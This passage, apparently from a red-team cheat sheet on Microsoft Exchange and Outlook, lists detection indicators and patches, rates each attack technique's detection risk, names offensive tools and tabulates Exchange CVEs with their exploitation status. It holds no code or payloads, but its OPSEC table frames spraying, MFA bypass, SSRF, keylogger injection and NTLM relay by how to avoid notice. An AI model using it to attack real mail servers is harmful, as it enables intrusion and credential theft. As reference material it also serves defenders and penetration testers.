  Outbound SMB to external IPs from Outlook process (NTLM leak)
  NTLMv2 auth attempts to Exchange from unexpected IPs
  EWS operations from unusual client IPs/User-Agents
Patch:
  CVE-2024-21413: February 2024 Patch Tuesday (all Office versions)
  CVE-2024-21410: Exchange 2019 CU14 (enables EPA by default)

9. OPSEC Notes

Technique Detection Risk Notes
Time-based NTLM enum (wfuzz) Low Timing-only, no lockouts, hard to detect
AutodiscoverV2 Cookie enum Low Unauthenticated, no lockouts, minimal logging
SMTP enum Medium SMTP logs capture RCPT probes
OAB extraction Medium /oab/ endpoint sometimes monitored by Blue Teams
Autodiscover XML spray High Well-known, triggers alerts on most SIEMs
Shadow Auth (MS Sync) Low Requests appear from Microsoft IPs
ActiveSync MFA bypass Medium Abuses protocol gap; check for per-protocol MFA config
ActiveSync (PEAS) Medium Device IDs stored in AD — (msExchDeviceID=*) detectable
PEAS default IDs High Quarantine triggers admin email + blocks subsequent access
exchanger.py dump-tables Low Novel technique, few existing signatures
exchanger.py dnt-lookup Medium May crash lsass on multi-tenant/GC DCs
Ruler High Hardcoded strings + "Ruler" in go-ntlm — signatured in EDR
OWA SSRF (CreateAttachmentFromUri) Low Minimal logging for attachment operations
EWS Subscribe SSRF Medium Some SIEMs watch for external EWS push subscriptions
ProxyShell / ProxyLogon Critical Heavily signatured; triggers in all modern EDR/WAF/SIEM
OWA Keylogger injection Low-Medium No outbound traffic in Variant A; hard to detect without integrity checks
MonikerLink email Medium YARA rules available (Florian Roth); monitor outbound SMB
CVE-2024-21410 relay Medium Detectable via NTLM relay monitoring, unexpected EWS auth
dodgypass.txt spray Low-Medium Complex passwords less noisy vs rockyou; still lockout-risk
Allowlist bypass (/../) Low Path traversal often not logged at WAF level

10. Quick Reference: Tools

Tool Purpose Link
exchanger.py Full AD dump via MS-OXNSPI, any domain account Impacket
MailSniper GAL enum, OWA spray, username harvest, email search GitHub
Ruler MAPI RCE via rules/forms/homepages GitHub
PEAS ActiveSync SMB/HTTP access + SSRF GitHub
PrivExchange EWS NTLM relay → LDAP → Domain Admin GitHub
ntlmrelayx NTLM relay framework (Impacket) Impacket
ntlmscan NTLM endpoint discovery + wordlist GitHub
patator Protocol-aware brute-force / spraying GitHub
wfuzz Web fuzzer (timing-based NTLM enum) Built-in / pip
smtp-user-enum SMTP RCPT/VRFY/EXPN enumeration GitHub
dodgypass.txt Corporate-pattern password wordlist GitHub
rpcmap.py RPC endpoint mapper over HTTP v2 Impacket
Metasploit ProxyLogon / ProxyShell / exchange modules msfconsole
Nuclei CVE scanning templates GitHub
Responder NTLM hash capture (for CVE-2023-23397 / MonikerLink) GitHub
CVE-2024-21413 PoC MonikerLink email sender GitHub
SprayingToolkit OWA/EWS/EAS spraying GitHub

11. Vulnerability Quick Reference

Name CVE(s) Auth Required Impact Patched Exploited ITW
ProxyLogon CVE-2021-26855, CVE-2021-27065 No Pre-auth RCE Mar 2021 ✅ HAFNIUM, ransomware
ProxyShell CVE-2021-34473, CVE-2021-34523, CVE-2021-31207 No Pre-auth RCE May/Jul 2021 ✅ Mass exploitation
ProxyNotShell CVE-2022-41040, CVE-2022-41082 Yes (any mailbox) Auth RCE Nov 2022 ✅ Targeted
OWASSRF CVE-2022-41080, CVE-2022-41082 Yes (any mailbox) Auth RCE via OWA Nov 2022 ✅ Play ransomware
CVE-2023-23397 CVE-2023-23397 No (zero-click) NTLM hash theft Mar 2023 ✅ APT28/Forest Blizzard
MonikerLink CVE-2024-21413 No (preview pane) NTLM leak + RCE Feb 2024 ✅ CISA KEV (2025)
CVE-2024-21410 CVE-2024-21410 No (relay) NTLM relay → EoP Feb 2024 (CU14) ✅ Zero-day, APT28
OWA SSRF None assigned Yes (mailbox) Full-read internal SSRF ~Sep 2024 (silent) Internal pivot
PrivExchange Design flaw Yes (any mailbox) Domain Admin via relay Mitigated (design) Red teams
MyQ RCE CVE-2024-28059 No Unauthenticated RCE Jan 2024 (MyQ 8.2 P43) Red team discovery
QNAP Stack Overflow CVE-2023-39300 Yes (QNAP low-priv) RCE → root Sep 2024 (QTS 5.x) Red team discovery

Sources: PT SWARM 2020 · Arseniy Sharoglazov, PositiveHack Talks Hanoi Nov 2024 · PT ESC Keylogger Campaign Report 2024–2025 · CVE advisories: Microsoft MSRC, CISA KEV

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment